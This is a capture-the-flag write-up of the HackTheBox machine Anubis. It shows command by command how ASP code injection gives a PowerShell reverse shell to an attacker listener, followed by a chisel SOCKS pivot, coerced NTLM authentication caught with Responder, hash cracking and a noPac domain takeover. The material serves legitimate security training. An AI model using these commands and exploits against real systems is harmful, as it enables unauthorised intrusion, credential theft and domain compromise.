# Anubis Writeup - HackTheBox > Insane Windows box involving SSRF, certificate services abuse, ADCS ESC1, and Shadow Credentials to escalate through Active Directory. - **URL:** https://hackindex.io/writeups/anubis - **Platform:** HackTheBox - **Difficulty:** Insane - **Operating system:** Windows - **Machine:** https://app.hackthebox.com/machines/Anubis - **Tags:** ssrf, active-directory, adcs, shadow-credentials, cve-2021-42278, cve-2021-42287 - **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md) - **Published:** 2026-08-17 - **Updated:** 2026-08-17 Anubis puts a containerised web tier in front of a real Active Directory domain. The chain runs: a classic ASP preview page that executes submitted content as server side script, SYSTEM inside a Windows container, a SOCKS tunnel onto the container network, an internal software portal that authenticates outbound to any address it is told to, a cracked NetNTLMv2 hash for a domain account, and noPac for SYSTEM on the domain controller. ## Reconnaissance ### Port scan ```bash rustscan -a $TARGET_IP # Open $TARGET_IP:135 # Open $TARGET_IP:443 # Open $TARGET_IP:445 # Open $TARGET_IP:593 # Open $TARGET_IP:49723 ``` ```bash nmap -p135,443,445,593,49723 $TARGET_IP -sCV -T4 -oA nmap/nmap # PORT STATE SERVICE VERSION # 135/tcp open msrpc Microsoft Windows RPC # 443/tcp open ssl/https? # | ssl-cert: Subject: commonName=www.windcorp.htb # | Subject Alternative Name: DNS:www.windcorp.htb # 445/tcp open microsoft-ds? # 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 # 49723/tcp open msrpc Microsoft Windows RPC # # Host script results: # |_clock-skew: mean: 16h05m07s # | smb2-security-mode: # | 3.1.1: # |_ Message signing enabled and required ``` The certificate names `www.windcorp.htb`, which goes straight into `/etc/hosts`. SMB signing is enabled and required, so relay attacks against this host are off the table before spending any time on them. That leaves the site on 443. ## Vulnerability Discovery ### The preview endpoint The contact form reflects a script tag back unfiltered, which proves the input is not sanitised but does little on its own against a host with no one browsing it. The interesting part is where that input goes: the message preview is rendered by `preview.asp`. Classic ASP executes anything between `<% %>` as server side VBScript at request time. A dedicated `.asp` page for previewing user content, combined with input that is provably unfiltered, suggests the submitted text is written somewhere that gets parsed rather than displayed. `WScript.Shell` is the classic ASP way to start a process, so the payload tests both at once. ## Exploitation ### Code execution through the preview ``` <% Set oShell = Server.CreateObject("WScript.Shell") oShell.Run "powershell -e " %> ``` The Base64 blob is a PowerShell reverse shell pointed at the listener. ```bash rlwrap nc -lvnp $ATTACKER_PORT # connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49929 # # EVIL > whoami # nt authority\system ``` SYSTEM on the first shot. The user list explains why that means less than it looks. ## Post-Exploitation ### This is a container ```powershell dir C:\Users # d----- 4/9/2021 10:36 PM Administrator # d----- 5/25/2021 12:05 PM ContainerAdministrator # d----- 4/9/2021 10:37 PM ContainerUser # d-r--- 4/9/2021 10:36 PM Public ``` `ContainerAdministrator` and `ContainerUser` do not exist on a normal Windows install, so this web tier runs inside a Windows container. SYSTEM here is SYSTEM inside that container and nothing more. The Administrator desktop holds a certificate signing request worth reading. ```bash openssl req -in req.txt -text -noout # Subject: C=AU, ST=Some-State, O=WindCorp, CN=softwareportal.windcorp.htb # Public-Key: (2048 bit) ``` A second internal hostname, `softwareportal.windcorp.htb`, and evidence the domain runs its own certificate authority. Neither is reachable from outside yet. ### The network behind the container ```powershell ipconfig # Ethernet adapter vEthernet (Ethernet): # IPv4 Address. . . . . . . . . . . : $CONTAINER_IP # Subnet Mask . . . . . . . . . . . : 255.255.240.0 # Default Gateway . . . . . . . . . : $DC_IP ``` The container sits on its own private network, and the gateway is the natural candidate for the machine hosting it. Reaching that network from Kali needs a tunnel, and chisel in reverse mode works because the container can already dial out, which the reverse shell proved. ## Lateral Movement ### SOCKS tunnel ```bash chisel server -p 8000 --reverse # server: Reverse tunnelling enabled # server: tun: proxy#R:127.0.0.1:1080=>socks: Listening ``` ```powershell C:\Programdata\chisel.exe client $ATTACKER_IP:8000 R:socks ``` That gives a SOCKS5 proxy on `127.0.0.1:1080` which `proxychains4` can push tools through. ```bash proxychains4 nmap -p80,88,389,445 -sT $DC_IP # PORT STATE SERVICE # 80/tcp open http # 88/tcp open kerberos-sec # 389/tcp open ldap # 445/tcp open microsoft-ds ``` Kerberos and LDAP next to SMB means the gateway is a domain controller, not a router. The software portal from the CSR is also reachable now. ### The software portal ```bash proxychains4 -q curl http://softwareportal.windcorp.htb/ # 7-Zip # VNC Viewer # The fact that you are not local administrator anymore, will not be a hinder for you getting the software you need installed! ``` The portal installs software on behalf of a client machine, and the client is whatever the query string says. To push an installer it has to authenticate to that machine, which means pointing `client` at a listener under our control turns the portal into a coerced authentication primitive. The address has to be the real attacker address, not the tunnel side, because the portal dials out itself. ### Catching the authentication ```bash proxychains4 -q curl 'http://softwareportal.windcorp.htb/install.asp?client=$ATTACKER_IP&software=VNC-Viewer-6.20.529-Windows.exe' #

Starting installation of VNC-Viewer-6.20.529-Windows.exe
``` ```bash responder -I tun0 # [WinRM] NTLMv2 Client : $TARGET_IP # [WinRM] NTLMv2 Username : windcorp\localadmin # [WinRM] NTLMv2 Hash : localadmin::windcorp:$LOCALADMINS_NTLMV2_HASH ``` The install logic authenticates over WinRM as a named domain account. NetNTLMv2 cannot be replayed here because signing is required, but it can be cracked. ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash # $LOCALADMINS_PASSWORD (localadmin) ``` ## Privilege Escalation ### Domain access ```bash proxychains4 nxc smb $DC_IP -d windcorp.htb -u localadmin -p '$LOCALADMINS_PASSWORD' --shares # SMB $DC_IP 445 EARTH [*] Windows 10 / Server 2019 Build 17763 x64 (name:EARTH) (domain:windcorp.htb) # SMB $DC_IP 445 EARTH [+] windcorp.htb\localadmin:$LOCALADMINS_PASSWORD # SMB $DC_IP 445 EARTH Share Permissions Remark # SMB $DC_IP 445 EARTH CertEnroll READ Active Directory Certificate Services share # SMB $DC_IP 445 EARTH Shared READ,WRITE ``` The credentials are valid on the domain and the controller is called EARTH. `CertEnroll` confirms the certificate services hinted at by the CSR, but an ordinary domain user is enough for noPac, which is the shorter route. noPac combines CVE-2021-42278 and CVE-2021-42287. Any authenticated user may create computer accounts up to `ms-DS-MachineAccountQuota`, ten by default, and the KDC failed to validate a `sAMAccountName` renamed to match the domain controller. A ticket requested under that name is then treated as the controller's own, which S4U2Self turns into a ticket for any account. ```bash proxychains4 nxc smb $DC_IP -d windcorp.htb -u localadmin -p '$LOCALADMINS_PASSWORD' -M nopac # NOPAC $DC_IP 445 EARTH TGT with PAC size 1480 # NOPAC $DC_IP 445 EARTH TGT without PAC size 715 # NOPAC $DC_IP 445 EARTH VULNERABLE ``` A smaller ticket for the request without a PAC means the KDC is issuing them, so the host is unpatched. ### Impersonating Administrator ```bash proxychains4 python3 noPac.py windcorp.htb/localadmin:'$LOCALADMINS_PASSWORD' -dc-ip $DC_IP -dc-host EARTH -shell --impersonate administrator # [*] Current ms-DS-MachineAccountQuota = 10 # [*] Adding Computer Account "WIN-QMSFTP046A3$" # [*] WIN-QMSFTP046A3$ sAMAccountName == EARTH # [*] Saving a DC's ticket in EARTH.ccache # [*] Impersonating administrator # [*] Requesting S4U2self # [!] Launching semi-interactive shell - Careful what you execute # C:\Windows\system32>whoami # nt authority\system ``` SYSTEM on EARTH, the domain controller behind the container. Both the web tier and the domain are covered. Related ## References - [chisel](https://github.com/jpillora/chisel) - TCP tunnel used in reverse mode for the SOCKS pivot onto the container network. - [noPac](https://github.com/Ridter/noPac) - Exploit for CVE-2021-42278 and CVE-2021-42287 used for the domain takeover. - [Microsoft advisory for CVE-2021-42278](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42278) - sAMAccountName spoofing on computer accounts, one half of the noPac chain.